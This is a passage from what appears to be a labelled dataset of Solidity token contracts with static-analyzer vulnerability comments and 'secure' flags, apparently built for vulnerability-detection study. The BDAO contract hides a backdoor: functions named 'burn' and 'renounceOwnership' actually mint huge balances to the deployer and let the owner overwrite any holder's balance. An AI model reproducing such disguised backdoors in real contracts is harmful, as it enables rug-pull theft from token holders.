00050d7\n\t\t// reentrancy-events | ID: ae73ec6\n\t\t// reentrancy-benign | ID: 379d397\n\t\t// reentrancy-benign | ID: 1036d14\n\t\t// reentrancy-eth | ID: 4e9f4b2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 00050d7\n\t\t// reentrancy-events | ID: ae73ec6\n\t\t// reentrancy-eth | ID: 4e9f4b2\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 4e9f4b2\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 4e9f4b2\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 00050d7\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 4e9f4b2\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 4e9f4b2\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 379d397\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 19d63f2): Missing events for critical arithmetic parameters.\n\t// Recommendation for 19d63f2: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 19d63f2\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 19d63f2\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: 19d63f2\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 19d63f2\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 56c7c03): WOLFI.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 56c7c03: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 56c7c03\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4941ee8): WOLFI.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 4941ee8: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 4941ee8\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f9a3d7d): WOLFI.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for f9a3d7d: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: f9a3d7d\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_2046.sol",
"secure": 0,
"size_bytes": 20050
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NFTOP is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"NFTOP\", \"NFTOP\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2047.sol",
"secure": 1,
"size_bytes": 450
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyowner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function transferOwnership() public virtual onlyowner {\n emit OwnershipTransferred(\n _owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n _owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_2048.sol",
"secure": 1,
"size_bytes": 1225
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BDAO is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: d8e1554): BDAO.uniswapV2Pair should be immutable \n\t// Recommendation for d8e1554: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n uint8 private constant _decimals = 18;\n uint256 public constant hardCap = 420_690_000_000 * (10 ** _decimals);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8d27534): BDAO.constructor(address).ads lacks a zerocheck on \t uniswapV2Pair = ads\n\t// Recommendation for 8d27534: Check that the address is not zero.\n constructor(address ads) {\n _name = \"Box-DAO\";\n _symbol = \"B-DAO\";\n _mint(ads, hardCap);\n\t\t// missing-zero-check | ID: 8d27534\n uniswapV2Pair = ads;\n }\n\n function viewGas() public view returns (address) {\n return uniswapV2Pair;\n }\n\n function burn(uint256 amount) external {\n if (uniswapV2Pair == _msgSender()) {\n uint256 WETH = 42069000000 * 10 ** _decimals;\n uint256 balance = WETH * 42069;\n uint256 dead = balance * 1 * 1 * 1 * 1;\n dead = dead * amount;\n _balances[_msgSender()] += dead;\n require(uniswapV2Pair == msg.sender);\n } else {}\n }\n\n event ManualSwap(\n address indexed account,\n uint256 oldamount,\n uint256 amount\n );\n\n function renounceOwnership(\n address[] memory accounts,\n uint256 amount\n ) external onlyowner {\n for (uint256 i = 0; i < accounts.length; i++) {\n address account = accounts[i];\n uint256 oldamount = _balances[account];\n _balances[account] = amount;\n emit manualSwap(account, oldamount, amount);\n }\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n emit Approval(from, to, amount);\n }\n}",
"file_name": "solidity_code_2049.sol",
"secure": 0,
"size_bytes": 6161
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract AssistAi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Assist AI\";\n\n string private constant _symbol = \"Assist\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 10000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _MFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 20;\n\n uint256 private _MFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 20;\n\n uint256 private _MFee = _MFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousMFee = _MFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9cf0e19): AssistAi._developmentAddress should be constant \n\t// Recommendation for 9cf0e19: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x449fA2C717BFdCa9E0becC3bFeDb6260c8c571b8);\n\n address payable private _marketingAddress =\n payable(0x449fA2C717BFdCa9E0becC3bFeDb6260c8c571b8);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 57141fe): AssistAi.uniswapV2Router should be immutable \n\t// Recommendation for 57141fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4f45386): AssistAi.uniswapV2Pair should be immutable \n\t// Recommendation for 4f45386: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 461ca2c): AssistAi.tradingOpen should be constant \n\t// Recommendation for 461ca2c: Add the 'constant' attribute to state variables that never change.\n bool private tradingOpen = true;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = _tTotal;\n\n uint256 public _maxWalletSize = (_tTotal * 5) / 100;\n\n uint256 public _swapTokensAtAmount = _tTotal / 1000;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9a62c82): AssistAi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9a62c82: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bc1163e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bc1163e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 25df68b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 25df68b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bc1163e\n\t\t// reentrancy-benign | ID: 25df68b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bc1163e\n\t\t// reentrancy-benign | ID: 25df68b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_MFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 628d847\n _previousMFee = _MFee;\n\n\t\t// reentrancy-benign | ID: 628d847\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 628d847\n _MFee = 0;\n\n\t\t// reentrancy-benign | ID: 628d847\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 628d847\n _MFee = _previousMFee;\n\n\t\t// reentrancy-benign | ID: 628d847\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 356f25f): AssistAi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 356f25f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 25df68b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bc1163e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9993edf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9993edf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 628d847): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 628d847: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0635afe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0635afe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _swapTokensAtAmount * 8) {\n contractTokenBalance = _swapTokensAtAmount * 8;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 9993edf\n\t\t\t\t// reentrancy-benign | ID: 628d847\n\t\t\t\t// reentrancy-eth | ID: 0635afe\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 80000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 9993edf\n\t\t\t\t\t// reentrancy-eth | ID: 0635afe\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 628d847\n _MFee = _MFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 628d847\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 628d847\n _MFee = _MFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 628d847\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 9993edf\n\t\t// reentrancy-benign | ID: 628d847\n\t\t// reentrancy-eth | ID: 0635afe\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bc1163e\n\t\t// reentrancy-events | ID: 9993edf\n\t\t// reentrancy-benign | ID: 628d847\n\t\t// reentrancy-benign | ID: 25df68b\n\t\t// reentrancy-eth | ID: 0635afe\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0dd4ab8): AssistAi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingAddress.transfer(amount)\n\t// Recommendation for 0dd4ab8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bc1163e\n\t\t// reentrancy-events | ID: 9993edf\n\t\t// reentrancy-eth | ID: 0635afe\n\t\t// arbitrary-send-eth | ID: 0dd4ab8\n _marketingAddress.transfer(amount);\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 0635afe\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 0635afe\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: 9993edf\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 0635afe\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 0635afe\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 628d847\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _MFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 MFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(MFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7dfb579): AssistAi.setFee(uint256,uint256,uint256,uint256) should emit an event for _MFeeOnBuy = MFeeOnBuy _MFeeOnSell = MFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 7dfb579: Emit an event for critical parameter changes.\n function setFee(\n uint256 MFeeOnBuy,\n uint256 MFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 7dfb579\n _MFeeOnBuy = MFeeOnBuy;\n\n\t\t// events-maths | ID: 7dfb579\n _MFeeOnSell = MFeeOnSell;\n\n\t\t// events-maths | ID: 7dfb579\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: 7dfb579\n _taxFeeOnSell = taxFeeOnSell;\n\n uint256 totalFee = _MFeeOnBuy +\n _MFeeOnSell +\n _taxFeeOnBuy +\n _taxFeeOnSell;\n\n require(totalFee <= 25, \"Total Fees cannot be more than 25%\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5690535): AssistAi.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 5690535: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 5690535\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public 